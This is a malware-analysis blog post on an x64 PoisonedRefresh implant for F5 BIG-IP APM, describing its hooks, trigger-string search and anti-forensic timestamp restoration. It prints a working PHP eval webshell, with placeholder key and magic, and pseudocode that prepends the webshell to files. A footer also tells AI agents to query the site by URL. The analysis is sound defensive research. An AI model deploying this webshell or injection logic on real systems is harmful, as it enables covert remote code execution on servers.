# Inadvertent Injections

Recently ESET tweeted something about an implant that was targeting BigIP F5 APM;

> Approximately a month ago, F5 published advisory on malware deployed to BIG-IP systems vulnerable to CVE-2025-53521. [#ESETresearch](https://twitter.com/hashtag/ESETresearch?src=hash\&ref_src=twsrc%5Etfw) discovered two related malware components on VirusTotal and named the threat [#PoisonedRefresh](https://twitter.com/hashtag/PoisonedRefresh?src=hash\&ref_src=twsrc%5Etfw). 1/6<https://t.co/OfekbKd8a9>
>
> — ESET Research (@ESETresearch) [April 24, 2026](https://twitter.com/ESETresearch/status/2047709934721049040?ref_src=twsrc%5Etfw)

I'm not always huge on diving into malware implants, but it seemed that the author of this implant had put some serious thought in how *not* to get fingerprinted on the internet and at the same time had also put some effort into ensuring that their webshells could not be accessed by everyone. You'd need to have the specific RC4 key for the exact sample running on the compromised device, an almost NOBUS design :).

After some initial research and several YARA rule creations later I stumbled upon another [sample](https://www.virustotal.com/gui/file/ec6f5647249284f8507ab680148f87d9cdbb4688ca675f2019f67e936d1c8f85) that seemed... off? ESET's finding goes into a sample that is an x86 binary, hooking specific functions and would only really function on CentOS it seemed (the OS used by BigIP). This new sample, aptly named `apmd64` (the deamon process for BigIP's APM service) was an x64 binary that hooks the `read()` function, pointing into the direction of maybe a more reusable/versatile approach?

At the time of writing this x64 variant has 1 engine classifiying it as the infamous `Trojan:Script/Wacatac.B!ml`, something that can be read as "generic as fuck piece of, maybe, malware".&#x20;

So let's dive into it a bit, as there's some things in here that I had not seen in other implants that I looked at previously.

## String Encryption

The strings are encrypted using RC4, the key for the decryption is shared amongst the samples shared by ESET, written onto the stack:

```asm
204074ec  c684240001000054   mov     byte [rsp+0x100 {var_228}], 'T'
204074f4  c684240101000072   mov     byte [rsp+0x101], 'r'
204074fc  c684240201000073   mov     byte [rsp+0x102 {var_226}], 's'
20407504  c684240301000077   mov     byte [rsp+0x103 {var_225}], 'w'
2040750c  c684240401000042   mov     byte [rsp+0x104 {var_224}], 'B'
20407514  c684240501000057   mov     byte [rsp+0x105 {var_223}], 'W'
2040751c  c684240601000049   mov     byte [rsp+0x106 {var_222}], 'I'
20407524  c68424070100006c   mov     byte [rsp+0x107 {var_221}], 'l'
2040752c  c684240801000039   mov     byte [rsp+0x108 {var_220}], '9'
20407534  c684240901000030   mov     byte [rsp+0x109 {var_21f}], '0'
2040753c  c684240a0100005a   mov     byte [rsp+0x10a {var_21e}], 'Z'
20407544  c684240b01000035   mov     byte [rsp+0x10b {var_21d}], '5'
2040754c  c684240c01000065   mov     byte [rsp+0x10c {var_21c}], 'e'
20407554  c684240d01000033   mov     byte [rsp+0x10d {var_21b}], '3'
2040755c  c684240e01000038   mov     byte [rsp+0x10e {var_21a}], '8'
20407564  c684240f0100006e   mov     byte [rsp+0x10f {var_219}], 'n'
```

Throughout the binary the strings are all written to the stack before being decrypted, making the cleanup of the binary a bit more annoying, nothing we can't overcome with a bit of BinaryNinja scripting so let's just move on and assume we decrypted and patched everything in the binary to understand what's happening.

## Hooks

### libc hooking

The juice of the binary is partly in the loader itself, the binary consists of a loader component and an embedded F5 APM `httpd` binary. The `httpd` binary is loaded into memory and the PLT/GOT entry for `__libc_start_main` is patched to point to the dropper's own hooked version of it. From there on the control is transferred with a call to the entry point.

With all this in place the embedded `httpd` will now call the dropper's hook, the following pseudocode displays this process a bit more clear;

```c
hook_libc_start_main(arg1, arg2, arg3) {
    lib_entry = proc_maps_find_lib("libc-", nullptr);
    if (lib_entry && !elf_parse_dynamic(0x20609400, lib_entry)) {
        handle = elf_lookup_symbol_by_handle(0x20609400, "__libc_start_main");
        if (handle)
            __libc_start_main = handle;
     }
    // replace first argument with the dropper main
    return __libc_start_main(_dropper_main, arg2, arg3);
};
```

Good to note here is that the original `httpd` `main` function is saved and will eventually be called after the hooks have been set up so that the webserver starts normally.

### read() hook and the KMP string search

The dropper's main function installs a hook on the `read()` function call which is used by Apache's APR socket layer. This is a broader hook than the original hooks used in the PoisonedRefresh implant as described by ESET;

> The malicious httpd process patches functions apr\_so\_load and apr\_time\_now in libphp, and also close, open, \_\_fxstat and mmap. The former triggers bind shell and webshell deployment, while the latter ensures webshell content is visible only for the malicious httpd process.

The hook set by this implant does a particularly odd thing that I've personally not really encountered in other implants; it implements a [KMP](https://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm) string search for a specific 16-byte string, and if found anywhere in the buffer (given that the HTTP request is contained in a single buffer, this won't work if it's fragmented), it will decide on its action to take. So what does it do exactly here?

The hook scans both `GET` and `POST` buffers. The 17th byte after the pattern is the variant byte that decides which PHP file to target (see table below). This runs synchronously inside `read()`, before Apache dispatches the request to PHP, so this must mean that the webshell is on disk before the PHP process even starts.

As to why KMP? Well...  Looking for strings using KMP is much more efficient than other, more lazy, methods. Considering that this runs on every `GET` and `POST` request the webserver receives it's a good algorithm to choose from if you don't want to be tied down on *where* you put your magic string within the buffer.

I'm going to be honest here and say that before looking at the function and Googling a bit I gave up on trying to make sense of this function, and kindly asked my local clanker to give me some insights. After some churning it gave me the answer of KMP and I started looking for a [C-implementation](https://www.geeksforgeeks.org/c/kmp-algorithm-for-pattern-searching-in-c/) of this algorithm. It indeed matched the code that I could see in my decompiled output.

### Injecting the Webshell

Remember that 17th byte I mentioned earlier? It turns out that depending on the 17th byte value it will pick a file to prepend the webshell to, specifically:

| Byte                           | Target                  |
| ------------------------------ | ----------------------- |
| 0x41 ('A')                     | full\_wt.php3           |
| 0x42 ('B')                     | webtop\_popup\_css.php3 |
| 0x43 ('C')                     | my.logout.php3          |
| Anything that is not the above | apm\_css.php3           |

After a webshell variant is chosen it will check (very lazy) the specific file to ensure that this file is not already injected:

```c
sys_openat(path, O_RDONLY)
fgets_buffered(buf, 0x400, fd)   // read first 1 KB
if (strstr(buf, "eval") != NULL)
    return 0;                    // already injected, bail
```

If it concludes that the file has not yet been injected with the webshell it will continue by prepending this webshell to the file:

```c
int64_t prepend_to_file(char* path, char* webshell, int64_t orig_len) {
    int64_t file_stat;
    memset(&file_stat, 0, 0x90);
    int32_t fd = sys_openat(path, O_RDWR);

    // record original size + timestamps
    if (sys_fstat(fd, &file_stat) >= 0)
    {
        int64_t webshell_len;
        int64_t total_len = orig_len + webshell_len;
        // expand file
        if (sys_ftruncate(fd, total_len) >= 0)
        {
            int64_t new_size = sys_mmap(0, total_len, RW, MAP_SHARED, fd, 0);
            if (new_size != -1)
            {
                // shift original content right
                memmove(new_size + orig_len, new_size, webshell_len);
                // prepend webshell
                memcpy(new_size, webshell, orig_len);
                // flush to disk
                sys_msync(new_size, total_len, MS_SYNC);
                munmap(new_size, total_len);
                sys_close(fd);
                return 0;
            }
        }
    }
    sys_close(fd);
}
```

[MAP\_SHARED](https://man7.org/linux/man-pages/man2/mmap.2.html) + [MS\_SYNC](https://man7.org/linux/man-pages/man2/msync.2.html#DESCRIPTION) guarantees the bytes hit the filesystem immediately. After writing to the file it will restore the original file timestamps that it recorded pre-injection (cute little anti-forensics trick).

#### Webshell

The webshell itself is minimalistic, it employs a simple RC4 decryption routine and checks for the presence of the activation magic at the start of the `POST` body, anything after this magic value is derypted and passed to the PHP `eval` function. Any output from the executed code is then returned with a HTTP response and a `401` status code, probably to blend in with external traffic to make it seems like random internet noise hitting an authenticated endpoint:

```php
<?
     function R($data) {
          $key='KKKKKKKKKK';
          $s=array();
          for($i=0; $i < 256; $i++) {
               $s[$i] = $i;
          }
          $j=0;
          for($i=0; $i < 256; $i++) {
               $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
               $temp = $s[$i];
               $s[$i] = $s[$j];
               $s[$j] = $temp;
          }
          $i=0;
          $j=0;
          $o = '';
          for($k=0; $k < strlen($data); $k++) {
               $i = ($i+1) % 256;
               $j = ($j + $s[$i]) % 256;
               $temp = $s[$i];
               $s[$i] = $s[$j];
               $s[$j] = $temp;
               $o .= $data[$k] ^ chr($s[($s[$i] + $s[$j]) % 256]);
          }
          return $o;
     }
     $p = file_get_contents('php://input');
     if(strlen($p) > 8 && substr($p, 0, 8) === 'CCCCCCCC') {
          http_response_code(401);
          header("Content-Type: text/css; charset=utf-8");
          eval(R(substr($p,8)));
          exit(0);
     }
?>
```

{% hint style="info" %}
The actual magic and decryption key are not present in the above snippet, these get substituted by the implant, it is assumed that these are unique per sample just as with the other PoisonedRefresh samples.
{% endhint %}

So why all this blogging about an implant ESET already published a little bit about?&#x20;

## The /Weird/ Thing

There's something weird about this implant, and to verify this weirdness I recreated the environment much like how the implant itself functions, hooking the `read()` call and following the injection steps...

There's an inadvertent injection that could happen if researchers follow the path of trying to hide their scanning motivations, meaning; we try to blend in with traffic so that other threat actors (and researchers alike) are not tipped off by what we're exactly looking for. And that's precisely where this implant makes it seem that the threat actor thought about this. If we'd just follow that path we would be injecting the webshell in other files as well, or even injecting a webshell on a compromised F5 machine where the threat actor itself had not yet triggered the injection of the webshell...

Whether intentional or unintentional by the threat actor, it's a good design, dare I say quite genius? By implementing a KMP string search that allows the string to live **anywhere** within the HTTP buffer, and by picking a string that could pass as a `base64` string, you can now come up with a myriad of ways to look for the implant without tipping off what you're actually looking for. Take the following request:

```
GET /webtop/renderer/apm_css.php3 HTTP/1.1
Host: kusjes.van.srt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.9
Referer: https://kusjes.van.srt/my.logout.php3
Cookie: F5_ST=1746012800; MRHSession=gH7kpZvbxWq3s;
__Secure-token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzQ4MjkxIiwicm9sZSI6InZpZXdlciIsImlhdCI6MTc0NjAxMjgwMH0.mK4nsf8v2qLw8pN3cVbZj
Connection: keep-alive
```

Would you be able to tell me which string would be the trigger (don't worry I didn't actually put the string in there, but it could've been in there)?

So to anyone out there looking at this specific implant variant, be aware of this when you do decide to scan for it.

### Why though?

Here's some of my fun reasoning of why the threat actor chose this approach, please take any of these with a grain of salt, I frankly have no clue either:

1. **Attribution laundering**. If an external researcher's scanner or a third-party tool accidentally injects the webshell, forensic timelines likely show the injection timestamp coinciding with the researcher's scan, instead of the original compromise.
2. **Resilience through redundant activation paths**. The operator doesn't rely on keeping a covert channel open. As long as any HTTP traffic (their own or others) hits the host with the magic string in the buffer, the webshell will be on disk. Re-injection after a file integrity scan cleanses the file is automatic on the next qualifying request.
3. **Separation of concerns between stages**. The author deliberately split trigger and activation. This means the dropper (the harder to detect piece as it lives in an ELF no one is looking at) only needs to write to disk once. Operators can then interact purely via standard `POST` with the activation string in the body, which looks like any other opaque web request.

## Try it yourself!

Because I believe in the power of sharing I've made my research public on [Github](https://github.com/sud0woodo/inadvertent_injections), it includes the testing environment and YARA rules.

Happy hunting <3


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://visit.suspect.network/reversing-adventures/inadvertent-injections.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
